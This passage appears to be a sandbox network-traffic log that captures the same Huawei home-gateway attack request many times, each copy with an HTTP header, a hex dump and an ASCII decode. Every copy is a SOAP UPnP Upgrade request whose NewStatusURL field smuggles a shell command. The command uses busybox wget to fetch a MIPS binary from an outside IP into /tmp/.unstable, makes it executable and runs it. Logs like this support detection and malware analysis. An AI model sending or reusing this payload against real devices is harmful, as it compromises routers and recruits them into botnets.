3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 3b 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 68 75 61 77 65 69 2e 65 78 70 6c 6f 69 74 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 212.64.199.23 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
      Source: global trafficHTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: */*Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 32 31 32 2e 36 34 2e 31 39 39 2e 32 33 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 